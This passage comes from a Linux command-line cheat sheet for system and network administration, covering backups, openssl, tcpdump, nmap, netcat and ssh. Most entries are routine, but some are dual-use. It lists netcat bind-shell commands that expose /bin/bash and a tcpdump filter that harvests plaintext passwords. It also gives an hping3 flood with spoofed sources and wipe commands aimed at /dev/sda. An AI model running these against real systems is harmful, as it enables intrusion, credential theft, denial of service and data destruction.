for the most common IP addresses ```bash tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail ``` ###### Analyse web server log and show only 5xx http codes ```bash tail -n 100 -f /path/to/logfile | grep "HTTP/[1-2].[0-1]\" [5]" ``` ___ ##### Tool: [tar](https://en.wikipedia.org/wiki/Tar_(computing)) ###### System backup with exclude specific directories ```bash cd / tar -czvpf /mnt/system$(date +%d%m%Y%s).tgz --directory=/ \ --exclude=proc/* --exclude=sys/* --exclude=dev/* --exclude=mnt/* . ``` ###### System backup with exclude specific directories (pigz) ```bash cd / tar cvpf /backup/snapshot-$(date +%d%m%Y%s).tgz --directory=/ \ --exclude=proc/* --exclude=sys/* --exclude=dev/* \ --exclude=mnt/* --exclude=tmp/* --use-compress-program=pigz . ``` ___ ##### Tool: [dump](https://en.wikipedia.org/wiki/Dump_(program)) ###### System backup to file ```bash dump -y -u -f /backup/system$(date +%d%m%Y%s).lzo / ``` ###### Restore system from lzo file ```bash cd / restore -rf /backup/system$(date +%d%m%Y%s).lzo ``` ___ ##### Tool: [cpulimit](http://cpulimit.sourceforge.net/) ###### Limit the cpu usage of a process ```bash cpulimit -p pid -l 50 ``` ___ ##### Tool: [pwdx](https://www.cyberciti.biz/faq/unix-linux-pwdx-command-examples-usage-syntax/) ###### Show current working directory of a process ```bash pwdx <pid> ``` ___ ##### Tool: [taskset](https://www.cyberciti.biz/faq/taskset-cpu-affinity-command/) ###### Start a command on only one CPU core ```bash taskset -c 0 <command> ``` ___ ##### Tool: [tr](https://en.wikipedia.org/wiki/Tr_(Unix)) ###### Show directories in the PATH, one per line ```bash tr : '\n' <<<$PATH ``` ___ ##### Tool: [chmod](https://en.wikipedia.org/wiki/Chmod) ###### Remove executable bit from all files in the current directory ```bash chmod -R -x+X * ``` ###### Restore permission for /bin/chmod ```bash # 1: cp /bin/ls chmod.01 cp /bin/chmod chmod.01 ./chmod.01 700 file # 2: /bin/busybox chmod 0700 /bin/chmod # 3: setfacl --set u::rwx,g::---,o::--- /bin/chmod ``` ___ ##### Tool: [who](https://en.wikipedia.org/wiki/Who_(Unix)) ###### Find last reboot time ```bash who -b ``` ###### Detect a user sudo-su'd into the current shell ```bash [[ $(who -m | awk '{ print $1 }') == $(whoami) ]] || echo "You are su-ed to $(whoami)" ``` ___ ##### Tool: [last](https://www.howtoforge.com/linux-last-command/) ###### Was the last reboot a panic? ```bash (last -x -f $(ls -1t /var/log/wtmp* | head -2 | tail -1); last -x -f /var/log/wtmp) | \ grep -A1 reboot | head -2 | grep -q shutdown && echo "Expected reboot" || echo "Panic reboot" ``` ___ ##### Tool: [screen](https://en.wikipedia.org/wiki/GNU_Screen) ###### Start screen in detached mode ```bash screen -d -m <command> ``` ###### Attach to an existing screen session ```bash screen -r -d <pid> ``` ___ ##### Tool: [script](https://en.wikipedia.org/wiki/Script_(Unix)) ###### Record and replay terminal session ```bash ### Record session # 1) script -t 2>~/session.time -a ~/session.log # 2) script --timing=session.time session.log ### Replay session scriptreplay --timing=session.time session.log ``` ___ ##### Tool: [du](https://en.wikipedia.org/wiki/GNU_Screen) ###### Show 20 biggest directories with 'K M G' ```bash du | \ sort -r -n | \ awk '{split("K M G",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}' | \ head -n 20 ``` ___ ##### Tool: [inotifywait](https://en.wikipedia.org/wiki/GNU_Screen) ###### Init tool everytime a file in a directory is modified ```bash while true ; do inotifywait -r -e MODIFY dir/ && ls dir/ ; done; ``` ___ ##### Tool: [openssl](https://www.openssl.org/) ###### Testing connection to the remote host ```bash echo | openssl s_client -connect google.com:443 -showcerts ``` ###### Testing connection to the remote host (debug mode) ```bash echo | openssl s_client -connect google.com:443 -showcerts -tlsextdebug -status ``` ###### Testing connection to the remote host (with SNI support) ```bash echo | openssl s_client -showcerts -servername google.com -connect google.com:443 ``` ###### Testing connection to the remote host with specific ssl version ```bash openssl s_client -tls1_2 -connect google.com:443 ``` ###### Testing connection to the remote host with specific ssl cipher ```bash openssl s_client -cipher 'AES128-SHA' -connect google.com:443 ``` ###### Verify 0-RTT ```bash _host="example.com" cat > req.in << __EOF__ HEAD / HTTP/1.1 Host: $_host Connection: close __EOF__ openssl s_client -connect ${_host}:443 -tls1_3 -sess_out session.pem -ign_eof < req.in openssl s_client -connect ${_host}:443 -tls1_3 -sess_in session.pem -early_data req.in ``` ###### Generate private key without passphrase ```bash # _len: 2048, 4096 ( _fd="private.key" ; _len="2048" ; \ openssl genrsa -out ${_fd} ${_len} ) ``` ###### Generate private key with passphrase ```bash # _ciph: aes128, aes256 # _len: 2048, 4096 ( _ciph="aes128" ; _fd="private.key" ; _len="2048" ; \ openssl genrsa -${_ciph} -out ${_fd} ${_len} ) ``` ###### Remove passphrase from private key ```bash ( _fd="private.key" ; _fd_unp="private_unp.key" ; \ openssl rsa -in ${_fd} -out ${_fd_unp} ) ``` ###### Encrypt existing private key with a passphrase ```bash # _ciph: aes128, aes256 ( _ciph="aes128" ; _fd="private.key" ; _fd_pass="private_pass.key" ; \ openssl rsa -${_ciph} -in ${_fd} -out ${_fd_pass} ``` ###### Check private key ```bash ( _fd="private.key" ; \ openssl rsa -check -in ${_fd} ) ``` ###### Get public key from private key ```bash ( _fd="private.key" ; _fd_pub="public.key" ; \ openssl rsa -pubout -in ${_fd} -out ${_fd_pub} ) ``` ###### Generate private key and CSR ```bash ( _fd="private.key" ; _fd_csr="request.csr" ; _len="2048" ; \ openssl req -out ${_fd_csr} -new -newkey rsa:${_len} -nodes -keyout ${_fd} ) ``` ###### Generate CSR ```bash ( _fd="private.key" ; _fd_csr="request.csr" ; \ openssl req -out ${_fd_csr} -new -key ${_fd} ) ``` ###### Generate CSR (metadata from existing certificate) > Where `private.key` is the existing private key. As you can see you do not generate this CSR from your certificate (public key). Also you do not generate the "same" CSR, just a new one to request a new certificate. ```bash ( _fd="private.key" ; _fd_csr="request.csr" ; _fd_crt="cert.crt" ; \ openssl x509 -x509toreq -in ${_fd_crt} -out ${_fd_csr} -signkey ${_fd} ) ``` ###### Generate CSR with -config param ```bash ( _fd="private.key" ; _fd_csr="request.csr" ; \ openssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \ -config <( cat << __EOF__ [req] default_bits = 2048 default_md = sha256 prompt = no distinguished_name = dn req_extensions = req_ext [ dn ] C = "<two-letter ISO abbreviation for your country>" ST = "<state or province where your organisation is legally located>" L = "<city where your organisation is legally located>" O = "<legal name of your organisation>" OU = "<section of the organisation>" CN = "<fully qualified domain name>" [ req_ext ] subjectAltName = @alt_names [ alt_names ] DNS.1 = <fully qualified domain name> DNS.2 = <next domain> DNS.3 = <next domain> __EOF__ )) ``` Other values in `[ dn ]`: ``` countryName = "DE" # C= stateOrProvinceName = "Hessen" # ST= localityName = "Keller" # L= postalCode = "424242" # L/postalcode= postalAddress = "Keller" # L/postaladdress= streetAddress = "Crater 1621" # L/street= organizationName = "apfelboymschule" # O= organizationalUnitName = "IT Department" # OU= commonName = "example.com" # CN= emailAddress = "webmaster@example.com" # CN/emailAddress= ``` Example of `oids` (you'll probably also have to make OpenSSL know about the new fields required for EV by adding the following under `[new_oids]`): ``` [req] ... oid_section = new_oids [ new_oids ] postalCode = 2.5.4.17 streetAddress = 2.5.4.9 ``` Full example: ```bash ( _fd="private.key" ; _fd_csr="request.csr" ; \ openssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \ -config <( cat << __EOF__ [req] default_bits = 2048 default_md = sha256 prompt = no distinguished_name = dn req_extensions = req_ext oid_section = new_oids [ new_oids ] serialNumber = 2.5.4.5 streetAddress = 2.5.4.9 postalCode = 2.5.4.17 businessCategory = 2.5.4.15 [ dn ] serialNumber=00001111 businessCategory=Private Organization jurisdictionC=DE C=DE ST=Hessen L=Keller postalCode=424242 streetAddress=Crater 1621 O=AV Company OU=IT CN=example.com [ req_ext ] subjectAltName = @alt_names [ alt_names ] DNS.1 = example.com __EOF__ )) ``` For more information please look at these great explanations: - [RFC 5280](https://tools.ietf.org/html/rfc5280) - [How to create multidomain certificates using config files](https://apfelboymchen.net/gnu/notes/openssl%20multidomain%20with%20config%20files.html) - [Generate a multi domains certificate using config files](https://gist.github.com/romainnorberg/464758a6620228b977212a3cf20c3e08) - [Your OpenSSL CSR command is out of date](https://expeditedsecurity.com/blog/openssl-csr-command/) - [OpenSSL example configuration file](https://www.tbs-certificats.com/openssl-dem-server-cert.cnf) - [Object Identifiers (OIDs)](https://www.alvestrand.no/objectid/) - [openssl objects.txt](https://github.com/openssl/openssl/blob/master/crypto/objects/objects.txt) ###### List available EC curves ```bash openssl ecparam -list_curves ``` ###### Print ECDSA private and public keys ```bash ( _fd="private.key" ; \ openssl ec -in ${_fd} -noout -text ) # For x25519 only extracting public key ( _fd="private.key" ; _fd_pub="public.key" ; \ openssl pkey -in ${_fd} -pubout -out ${_fd_pub} ) ``` ###### Generate ECDSA private key ```bash # _curve: prime256v1, secp521r1, secp384r1 ( _fd="private.key" ; _curve="prime256v1" ; \ openssl ecparam -out ${_fd} -name ${_curve} -genkey ) # _curve: X25519 ( _fd="private.key" ; _curve="x25519" ; \ openssl genpkey -algorithm ${_curve} -out ${_fd} ) ``` ###### Generate private key and CSR (ECC) ```bash # _curve: prime256v1, secp521r1, secp384r1 ( _fd="domain.com.key" ; _fd_csr="domain.com.csr" ; _curve="prime256v1" ; \ openssl ecparam -out ${_fd} -name ${_curve} -genkey ; \ openssl req -new -key ${_fd} -out ${_fd_csr} -sha256 ) ``` ###### Generate self-signed certificate ```bash # _len: 2048, 4096 ( _fd="domain.key" ; _fd_out="domain.crt" ; _len="2048" ; _days="365" ; \ openssl req -newkey rsa:${_len} -nodes \ -keyout ${_fd} -x509 -days ${_days} -out ${_fd_out} ) ``` ###### Generate self-signed certificate from existing private key ```bash # _len: 2048, 4096 ( _fd="domain.key" ; _fd_out="domain.crt" ; _days="365" ; \ openssl req -key ${_fd} -nodes \ -x509 -days ${_days} -out ${_fd_out} ) ``` ###### Generate self-signed certificate from existing private key and csr ```bash # _len: 2048, 4096 ( _fd="domain.key" ; _fd_csr="domain.csr" ; _fd_out="domain.crt" ; _days="365" ; \ openssl x509 -signkey ${_fd} -nodes \ -in ${_fd_csr} -req -days ${_days} -out ${_fd_out} ) ``` ###### Generate DH public parameters ```bash ( _dh_size="2048" ; \ openssl dhparam -out /etc/nginx/ssl/dhparam_${_dh_size}.pem "$_dh_size" ) ``` ###### Display DH public parameters ```bash openssl pkeyparam -in dhparam.pem -text ``` ###### Extract private key from pfx ```bash ( _fd_pfx="cert.pfx" ; _fd_key="key.pem" ; \ openssl pkcs12 -in ${_fd_pfx} -nocerts -nodes -out ${_fd_key} ) ``` ###### Extract private key and certs from pfx ```bash ( _fd_pfx="cert.pfx" ; _fd_pem="key_certs.pem" ; \ openssl pkcs12 -in ${_fd_pfx} -nodes -out ${_fd_pem} ) ``` ###### Extract certs from p7b ```bash # PKCS#7 file doesn't include private keys. ( _fd_p7b="cert.p7b" ; _fd_pem="cert.pem" ; \ openssl pkcs7 -inform DER -outform PEM -in ${_fd_p7b} -print_certs > ${_fd_pem}) # or: openssl pkcs7 -print_certs -in -in ${_fd_p7b} -out ${_fd_pem}) ``` ###### Convert DER to PEM ```bash ( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \ openssl x509 -in ${_fd_der} -inform der -outform pem -out ${_fd_pem} ) ``` ###### Convert PEM to DER ```bash ( _fd_der="cert.crt" ; _fd_pem="cert.pem" ; \ openssl x509 -in ${_fd_pem} -outform der -out ${_fd_der} ) ``` ###### Verification of the private key ```bash ( _fd="private.key" ; \ openssl rsa -noout -text -in ${_fd} ) ``` ###### Verification of the public key ```bash # 1) ( _fd="public.key" ; \ openssl pkey -noout -text -pubin -in ${_fd} ) # 2) ( _fd="private.key" ; \ openssl rsa -inform PEM -noout -in ${_fd} &> /dev/null ; \ if [ $? = 0 ] ; then echo -en "OK\n" ; fi ) ``` ###### Verification of the certificate ```bash ( _fd="certificate.crt" ; # format: pem, cer, crt \ openssl x509 -noout -text -in ${_fd} ) ``` ###### Verification of the CSR ```bash ( _fd_csr="request.csr" ; \ openssl req -text -noout -in ${_fd_csr} ) ``` ###### Check the private key and the certificate are match ```bash (openssl rsa -noout -modulus -in private.key | openssl md5 ; \ openssl x509 -noout -modulus -in certificate.crt | openssl md5) | uniq ``` ###### Check the private key and the CSR are match ```bash (openssl rsa -noout -modulus -in private.key | openssl md5 ; \ openssl req -noout -modulus -in request.csr | openssl md5) | uniq ``` ___ ##### Tool: [secure-delete](https://wiki.archlinux.org/index.php/Securely_wipe_disk) ###### Secure delete with shred ```bash shred -vfuz -n 10 file shred --verbose --random-source=/dev/urandom -n 1 /dev/sda ``` ###### Secure delete with scrub ```bash scrub -p dod /dev/sda scrub -p dod -r file ``` ###### Secure delete with badblocks ```bash badblocks -s -w -t random -v /dev/sda badblocks -c 10240 -s -w -t random -v /dev/sda ``` ###### Secure delete with secure-delete ```bash srm -vz /tmp/file sfill -vz /local sdmem -v swapoff /dev/sda5 && sswap -vz /dev/sda5 ``` ___ ##### Tool: [dd](https://en.wikipedia.org/wiki/Dd_(Unix)) ###### Show dd status every so often ```bash dd <dd_params> status=progress watch --interval 5 killall -USR1 dd ``` ###### Redirect output to a file with dd ```bash echo "string" | dd of=filename ``` ___ ##### Tool: [gpg](https://www.gnupg.org/) ###### Export public key ```bash gpg --export --armor "<username>" > username.pkey ``` * `--export` - export all keys from all keyrings or specific key * `-a|--armor` - create ASCII armored output ###### Encrypt file ```bash gpg -e -r "<username>" dump.sql ``` * `-e|--encrypt` - encrypt data * `-r|--recipient` - encrypt for specific <username> ###### Decrypt file ```bash gpg -o dump.sql -d dump.sql.gpg ``` * `-o|--output` - use as output file * `-d|--decrypt` - decrypt data (default) ###### Search recipient ```bash gpg --keyserver hkp://keyserver.ubuntu.com --search-keys "<username>" ``` * `--keyserver` - set specific key server * `--search-keys` - search for keys on a key server ###### List all of the packets in an encrypted file ```bash gpg --batch --list-packets archive.gpg gpg2 --batch --list-packets archive.gpg ``` ___ ##### Tool: [system-other](https://github.com/trimstray/the-book-of-secret-knowledge#tool-system-other) ###### Reboot system from init ```bash exec /sbin/init 6 ``` ###### Init system from single user mode ```bash exec /sbin/init ``` ###### Show current working directory of a process ```bash readlink -f /proc/<PID>/cwd ``` ###### Show actual pathname of the executed command ```bash readlink -f /proc/<PID>/exe ``` ##### Tool: [curl](https://curl.haxx.se) ```bash curl -Iks https://www.google.com ``` * `-I` - show response headers only * `-k` - insecure connection when using ssl * `-s` - silent mode (not display body) ```bash curl -Iks --location -X GET -A "x-agent" https://www.google.com ``` * `--location` - follow redirects * `-X` - set method * `-A` - set user-agent ```bash curl -Iks --location -X GET -A "x-agent" --proxy http://127.0.0.1:16379 https://www.google.com ``` * `--proxy [socks5://|http://]` - set proxy server ```bash curl -o file.pdf -C - https://example.com/Aiju2goo0Ja2.pdf ``` * `-o` - write output to file * `-C` - resume the transfer ###### Find your external IP address (external services) ```bash curl ipinfo.io curl ipinfo.io/ip curl icanhazip.com curl ifconfig.me/ip ; echo ``` ###### Repeat URL request ```bash # URL sequence substitution with a dummy query string: curl -ks https://example.com/?[1-20] # With shell 'for' loop: for i in {1..20} ; do curl -ks https://example.com/ ; done ``` ###### Check DNS and HTTP trace with headers for specific domains ```bash ### Set domains and external dns servers. _domain_list=(google.com) ; _dns_list=("8.8.8.8" "1.1.1.1") for _domain in "${_domain_list[@]}" ; do printf '=%.0s' {1..48} echo printf "[\\e[1;32m+\\e[m] resolve: %s\\n" "$_domain" for _dns in "${_dns_list[@]}" ; do # Resolve domain. host "${_domain}" "${_dns}" echo done for _proto in http https ; do printf "[\\e[1;32m+\\e[m] trace + headers: %s://%s\\n" "$_proto" "$_domain" # Get trace and http headers. curl -Iks -A "x-agent" --location "${_proto}://${_domain}" echo done done unset _domain_list _dns_list ``` ___ ##### Tool: [httpie](https://httpie.org/) ```bash http -p Hh https://www.google.com ``` * `-p` - print request and response headers * `H` - request headers * `B` - request body * `h` - response headers * `b` - response body ```bash http -p Hh https://www.google.com --follow --verify no ``` * `-F, --follow` - follow redirects * `--verify no` - skip SSL verification ```bash http -p Hh https://www.google.com --follow --verify no \ --proxy http:http://127.0.0.1:16379 ``` * `--proxy [http:]` - set proxy server ##### Tool: [ssh](https://www.openssh.com/) ###### Escape Sequence ``` # Supported escape sequences: ~. - terminate connection (and any multiplexed sessions) ~B - send a BREAK to the remote system ~C - open a command line ~R - Request rekey (SSH protocol 2 only) ~^Z - suspend ssh ~# - list forwarded connections ~& - background ssh (when waiting for connections to terminate) ~? - this message ~~ - send the escape character by typing it twice ``` ###### Compare a remote file with a local file ```bash ssh user@host cat /path/to/remotefile | diff /path/to/localfile - ``` ###### SSH connection through host in the middle ```bash ssh -t reachable_host ssh unreachable_host ``` ###### Run command over SSH on remote host ```bash cat > cmd.txt << __EOF__ cat /etc/hosts __EOF__ ssh host -l user $(<cmd.txt) ``` ###### Get public key from private key ```bash ssh-keygen -y -f ~/.ssh/id_rsa ``` ###### Get all fingerprints ```bash ssh-keygen -l -f .ssh/known_hosts ``` ###### SSH authentication with user password ```bash ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no user@remote_host ``` ###### SSH authentication with publickey ```bash ssh -o PreferredAuthentications=publickey -o PubkeyAuthentication=yes -i id_rsa user@remote_host ``` ###### Simple recording SSH session ```bash function _ssh_sesslog() { _sesdir="<path/to/session/logs>" mkdir -p "${_sesdir}" && \ ssh $@ 2>&1 | tee -a "${_sesdir}/$(date +%Y%m%d).log" } # Alias: alias ssh='_ssh_sesslog' ``` ###### Using Keychain for SSH logins ```bash ### Delete all of ssh-agent's keys. function _scl() { /usr/bin/keychain --clear } ### Add key to keychain. function _scg() { /usr/bin/keychain /path/to/private-key source "$HOME/.keychain/$HOSTNAME-sh" } ``` ###### SSH login without processing any login scripts ```bash ssh -tt user@host bash ``` ###### SSH local port forwarding Example 1: ```bash # Forwarding our local 2250 port to nmap.org:443 from localhost through localhost host1> ssh -L 2250:nmap.org:443 localhost # Connect to the service: host1> curl -Iks --location -X GET https://localhost:2250 ``` Example 2: ```bash # Forwarding our local 9051 port to db.d.x:5432 from localhost through node.d.y host1> ssh -nNT -L 9051:db.d.x:5432 node.d.y # Connect to the service: host1> psql -U db_user -d db_dev -p 9051 -h localhost ``` * `-n` - redirects stdin from `/dev/null` * `-N` - do not execute a remote command * `-T` - disable pseudo-terminal allocation ###### SSH remote port forwarding ```bash # Forwarding our local 9051 port to db.d.x:5432 from host2 through node.d.y host1> ssh -nNT -R 9051:db.d.x:5432 node.d.y # Connect to the service: host2> psql -U postgres -d postgres -p 8000 -h localhost ``` ___ ##### Tool: [linux-dev](https://www.tldp.org/LDP/abs/html/devref1.html) ###### Testing remote connection to port ```bash timeout 1 bash -c "</dev/<proto>/<host>/<port>" >/dev/null 2>&1 ; echo $? ``` * `<proto` - set protocol (tcp/udp) * `<host>` - set remote host * `<port>` - set destination port ###### Read and write to TCP or UDP sockets with common bash tools ```bash exec 5<>/dev/tcp/<host>/<port>; cat <&5 & cat >&5; exec 5>&- ``` ___ ##### Tool: [tcpdump](http://www.tcpdump.org/) ###### Filter incoming (on interface) traffic (specific <ip:port>) ```bash tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443 ``` * `-n` - don't convert addresses (`-nn` will not resolve hostnames or ports) * `-e` - print the link-level headers * `-i [iface|any]` - set interface * `-Q|-D [in|out|inout]` - choose send/receive direction (`-D` - for old tcpdump versions) * `host [ip|hostname]` - set host, also `[host not]` * `[and|or]` - set logic * `port [1-65535]` - set port number, also `[port not]` ###### Filter incoming (on interface) traffic (specific <ip:port>) and write to a file ```bash tcpdump -ne -i eth0 -Q in host 192.168.252.1 and port 443 -c 5 -w tcpdump.pcap ``` * `-c [num]` - capture only num number of packets * `-w [filename]` - write packets to file, `-r [filename]` - reading from file ###### Capture all ICMP packets ```bash tcpdump -nei eth0 icmp ``` ###### Check protocol used (TCP or UDP) for service ```bash tcpdump -nei eth0 tcp port 22 -vv -X | egrep "TCP|UDP" ``` ###### Display ASCII text (to parse the output using grep or other) ```bash tcpdump -i eth0 -A -s0 port 443 ``` ###### Grab everything between two keywords ```bash tcpdump -i eth0 port 80 -X | sed -n -e '/username/,/=ldap/ p' ``` ###### Grab user and pass ever plain http ```bash tcpdump -i eth0 port http -l -A | egrep -i \ 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' \ --color=auto --line-buffered -B20 ``` ###### Extract HTTP User Agent from HTTP request header ```bash tcpdump -ei eth0 -nn -A -s1500 -l | grep "User-Agent:" ``` ###### Capture only HTTP GET and POST packets ```bash tcpdump -ei eth0 -s 0 -A -vv \ 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' or 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354' ``` or simply: ```bash tcpdump -ei eth0 -s 0 -v -n -l | egrep -i "POST /|GET /|Host:" ``` ###### Rotate capture files ```bash tcpdump -ei eth0 -w /tmp/capture-%H.pcap -G 3600 -C 200 ``` * `-G <num>` - pcap will be created every `<num>` seconds * `-C <size>` - close the current pcap and open a new one if is larger than `<size>` ###### Top hosts by packets ```bash tcpdump -ei enp0s25 -nnn -t -c 200 | cut -f 1,2,3,4 -d '.' | sort | uniq -c | sort -nr | head -n 20 ``` ###### Excludes any RFC 1918 private address ```bash tcpdump -nei eth0 'not (src net (10 or 172.16/12 or 192.168/16) and dst net (10 or 172.16/12 or 192.168/16))' ``` ___ ##### Tool: [tcpick](http://tcpick.sourceforge.net/) ###### Analyse packets in real-time ```bash while true ; do tcpick -a -C -r dump.pcap ; sleep 2 ; clear ; done ``` ___ ##### Tool: [ngrep](http://ngrep.sourceforge.net/usage.html) ```bash ngrep -d eth0 "www.domain.com" port 443 ``` * `-d [iface|any]` - set interface * `[domain]` - set hostname * `port [1-65535]` - set port number ```bash ngrep -d eth0 "www.domain.com" src host 10.240.20.2 and port 443 ``` * `(host [ip|hostname])` - filter by ip or hostname * `(port [1-65535])` - filter by port number ```bash ngrep -d eth0 -qt -O ngrep.pcap "www.domain.com" port 443 ``` * `-q` - quiet mode (only payloads) * `-t` - added timestamps * `-O [filename]` - save output to file, `-I [filename]` - reading from file ```bash ngrep -d eth0 -qt 'HTTP' 'tcp' ``` * `HTTP` - show http headers * `tcp|udp` - set protocol * `[src|dst] host [ip|hostname]` - set direction for specific node ```bash ngrep -l -q -d eth0 -i "User-Agent: curl*" ``` * `-l` - stdout line buffered * `-i` - case-insensitive search ___ ##### Tool: [hping3](http://www.hping.org/) ```bash hping3 -V -p 80 -s 5050 <scan_type> www.google.com ``` * `-V|--verbose` - verbose mode * `-p|--destport` - set destination port * `-s|--baseport` - set source port * `<scan_type>` - set scan type * `-F|--fin` - set FIN flag, port open if no reply * `-S|--syn` - set SYN flag * `-P|--push` - set PUSH flag * `-A|--ack` - set ACK flag (use when ping is blocked, RST response back if the port is open) * `-U|--urg` - set URG flag * `-Y|--ymas` - set Y unused flag (0x80 - nullscan), port open if no reply * `-M 0 -UPF` - set TCP sequence number and scan type (URG+PUSH+FIN), port open if no reply ```bash hping3 -V -c 1 -1 -C 8 www.google.com ``` * `-c [num]` - packet count * `-1` - set ICMP mode * `-C|--icmptype [icmp-num]` - set icmp type (default icmp-echo = 8) ```bash hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 --flood --rand-source <remote_host> ``` * `--flood` - sent packets as fast as possible (don't show replies) * `--rand-source` - random source address mode * `-d --data` - data size * `-w|--win` - winsize (default 64) ___ ##### Tool: [nmap](https://nmap.org/) ###### Ping scans the network ```bash nmap -sP 192.168.0.0/24 ``` ###### Show only open ports ```bash nmap -F --open 192.168.0.0/24 ``` ###### Full TCP port scan using with service version detection ```bash nmap -p 1-65535 -sV -sS -T4 192.168.0.0/24 ``` ###### Nmap scan and pass output to Nikto ```bash nmap -p80,443 192.168.0.0/24 -oG - | nikto.pl -h - ``` ###### Recon specific ip:service with Nmap NSE scripts stack ```bash # Set variables: _hosts="192.168.250.10" _ports="80,443" # Set Nmap NSE scripts stack: _nmap_nse_scripts="+dns-brute,\ +http-auth-finder,\ +http-chrono,\ +http-cookie-flags,\ +http-cors,\ +http-cross-domain-policy,\ +http-csrf,\ +http-dombased-xss,\ +http-enum,\ +http-errors,\ +http-git,\ +http-grep,\ +http-internal-ip-disclosure,\ +http-jsonp-detection,\ +http-malware-host,\ +http-methods,\ +http-passwd,\ +http-phpself-xss,\ +http-php-version,\ +http-robots.txt,\ +http-sitemap-generator,\ +http-shellshock,\ +http-stored-xss,\ +http-title,\ +http-unsafe-output-escaping,\ +http-useragent-tester,\ +http-vhosts,\ +http-waf-detect,\ +http-waf-fingerprint,\ +http-xssed,\ +traceroute-geolocation.nse,\ +ssl-enum-ciphers,\ +whois-domain,\ +whois-ip" # Set Nmap NSE script params: _nmap_nse_scripts_args="dns-brute.domain=${_hosts},http-cross-domain-policy.domain-lookup=true," _nmap_nse_scripts_args+="http-waf-detect.aggro,http-waf-detect.detectBodyChanges," _nmap_nse_scripts_args+="http-waf-fingerprint.intensive=1" # Perform scan: nmap --script="$_nmap_nse_scripts" --script-args="$_nmap_nse_scripts_args" -p "$_ports" "$_hosts" ``` ___ ##### Tool: [netcat](http://netcat.sourceforge.net/) ```bash nc -kl 5000 ``` * `-l` - listen for an incoming connection * `-k` - listening after client has disconnected * `>filename.out` - save receive data to file (optional) ```bash nc 192.168.0.1 5051 < filename.in ``` * `< filename.in` - send data to remote host ```bash nc -vz 10.240.30.3 5000 ``` * `-v` - verbose output * `-z` - scan for listening daemons ```bash nc -vzu 10.240.30.3 1-65535 ``` * `-u` - scan only udp ports ###### Transfer data file (archive) ```bash server> nc -l 5000 | tar xzvfp - client> tar czvfp - /path/to/dir | nc 10.240.30.3 5000 ``` ###### Launch remote shell ```bash # 1) server> nc -l 5000 -e /bin/bash client> nc 10.240.30.3 5000 # 2) server> rm -f /tmp/f; mkfifo /tmp/f server> cat /tmp/f | /bin/bash -i 2>&1 | nc -l 127.0.0.1 5000 > /tmp/f client> nc 10.240.30.3 5000 ``` ###### Simple file server ```bash while true ; do nc -l 5000 | tar -xvf - ; done ``` ###### Simple minimal HTTP Server ```bash while true ; do nc -l -p 1500 -c 'echo -e "HTTP/1.1 200 OK\n\n $(date)"' ; done ``` ###### Simple HTTP Server > Restarts web server after each request - remove `while` condition for only single connection. ```bash cat > index.html << __EOF__ <!doctype html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <title></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <p> Hello! It's a site. </p> </body> </html> __EOF__ ``` ```bash server> while : ; do \ (echo -ne "HTTP/1.1 200 OK\r\nContent-Length: $(wc -c <index.html)\r\n\r\n" ; cat index.html;) | \ nc -l -p 5000 \ ; done ``` * `-p` - port number ###### Simple HTTP Proxy (single connection) ```bash #!/usr/bin/env bash if [[ $# != 2 ]] ; then printf "%s\\n" \ "usage: ./nc-proxy listen-port bk_host:bk_port" fi _listen_port="$1" _bk_host=$(echo "$2" | cut -d ":" -f1) _bk_port=$(echo "$2" | cut -d ":" -f2) printf " lport: %s\\nbk_host: %s\\nbk_port: %s\\n\\n" \ "$_listen_port" "$_bk_host" "$_bk_port" _tmp=$(mktemp -d) _back="$_tmp/pipe.back" _sent="$_tmp/pipe.sent" _recv="$_tmp/pipe.recv" trap 'rm -rf "$_tmp"' EXIT mkfifo -m 0600 "$_back" "$_sent" "$_recv" sed "s/^/=> /" <"$_sent" & sed "s/^/<= /" <"$_recv" & nc -l -p "$_listen_port" <"$_back" | \ tee "$_sent" | \ nc "$_bk_host" "$_bk_port" | \ tee "$_recv" >"$_back" ``` ```bash server> chmod +x nc-proxy && ./nc-proxy 8080 192.168.252.10:8000 lport: 8080 bk_host: 192.168.252.10 bk_port: 8000 client> http -p h 10.240.30.3:8080 HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: max-age=31536000 Content-Length: 2748 Content-Type: text/html; charset=utf-8 Date: Sun, 01 Jul 2018 20:12:08 GMT Last-Modified: Sun, 01 Apr 2018 21:53:37 GMT ``` ###### Create a single-use TCP or UDP proxy ```bash ### TCP -> TCP nc -l -p 2000 -c "nc [ip|hostname] 3000" ### TCP -> UDP nc -l -p 2000 -c "nc -u [ip|hostname] 3000" ### UDP -> UDP nc -l -u -p 2000 -c "nc -u [ip|hostname] 3000" ### UDP -> TCP nc -l -u -p 2000 -c "nc [ip|hostname] 3000" ``` ___ ##### Tool: [gnutls-cli](https://gnutls.org/manual/html_node/gnutls_002dcli-Invocation.html) ###### Testing connection to remote host (with SNI support) ```bash gnutls-cli -p 443 google.com ``` ###### Testing connection to remote host (without SNI support) ```bash gnutls-cli --disable-sni -p 443 google.com ``` ___ ##### Tool: [socat](http://www.dest-unreach.org/socat/doc/socat.html) ###### Testing remote connection to port ```bash socat - TCP4:10.240.30.3:22 ``` * `-` - standard input (STDIO) * `TCP4:<params>` - set tcp4 connection with specific params * `[hostname|ip]` - set hostname/ip * `[1-65535]` - set port number ###### Redirecting TCP-traffic to a UNIX domain socket under Linux ```bash socat TCP-LISTEN:1234,bind=127.0.0.1,reuseaddr,fork,su=nobody,range=127.0.0.0/8 UNIX-CLIENT:/tmp/foo ``` * `TCP-LISTEN:<params>` - set tcp listen with specific params * `[1-65535]` - set port number * `bind=[hostname|ip]` - set bind hostname/ip * `reuseaddr` - allows other sockets to bind to an address * `fork` - keeps the parent process attempting to produce more connections * `su=nobody` - set user * `range=[ip-range]` - ip range * 